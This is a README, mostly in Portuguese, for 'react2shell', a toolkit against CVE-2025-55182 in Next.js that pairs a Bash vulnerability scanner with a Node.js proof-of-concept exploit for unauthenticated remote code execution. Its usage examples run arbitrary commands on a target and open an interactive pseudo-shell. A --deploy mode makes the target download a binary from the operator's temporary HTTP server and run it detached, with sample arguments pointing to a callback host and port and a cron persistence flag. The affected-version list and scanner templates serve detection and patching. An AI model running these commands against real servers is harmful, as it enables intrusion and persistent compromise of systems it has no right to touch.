
Um scanner bash para detectar a vulnerabilidade CVE-2025-55182 em aplicações Next.js. E um script nodejs PoC.
Kit de ferramentas CVE-2025-55182. Scanner + exploit para RCE não autenticada no Next.js via injeção de payload RSC.
Exploit em Node.js: zero dependências. Scanner em Bash: verifica URLs únicas ou listas em lote.
# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"
# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i
# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
--deploy ./my-agent \
--remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
Options:
-t, --target <url> Target URL (required)
-c, --command <cmd> Execute command with output
--blind Blind RCE (no output capture)
-i, --interactive Interactive pseudo-shell
--deploy <binary> Upload and execute a binary on the target
--lhost <ip> Your IP (auto-detected if omitted)
--serve-port <port> HTTP port to serve the binary (default: 8888)
--remote-args <args> Arguments passed to the deployed binary
--deploy encadeia quatro chamadas de RCE: detecção de plataforma (uname), download do binário (inicia
um servidor HTTP temporário, usa curl/wget no alvo) e um spawn destacado para que o processo
sobreviva ao tempo limite de 5 segundos do execSync.
Nota: A página alvo deve ser dinâmica (
force-dynamicou uma rota não armazenável em cache). Páginas estáticas/pré-renderizadas retornam digests em cache em vez de executar o payload.
chmod +x cve-2025-55182-check.sh
# Scan a single URL
./cve-2025-55182-check.sh https://example.com
# Scan multiple URLs
./cve-2025-55182-check.sh -f urls.txt
# JSON output
./cve-2025-55182-check.sh --json https://example.com
Options:
-f, --file FILE Read URLs from file (one per line)
-v, --verbose Verbose output (show curl details)
-q, --quiet Quiet mode (only show vulnerable sites)
-n, --no-follow Don't follow redirects
-t, --timeout SECONDS Request timeout (default: 10)
--json Output results in JSON format
--validate-fix Test for mitigation controls
--single-payload Use only the basic payload (faster)
Modelos para ferramentas de segurança em templates/:
templates/nuclei.yaml)templates/burp-scanner.json)templates/zap-scan-policy.xml)React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js: >=14.3.0-canary.77, todos os 15.x e 16.x (antes dos patches)
Corrigido: React 19.0.1+, 19.1.2+, 19.2.1+ Next.js 16.0.7+, 15.5.7+, 15.4.8+, 15.3.6+, 15.2.6+, 15.1.9+, 15.0.5+
Consulte TECHNICAL.md para a análise completa da cadeia de exploração.
MIT
Allan Kimmer Jensen - https://akj.io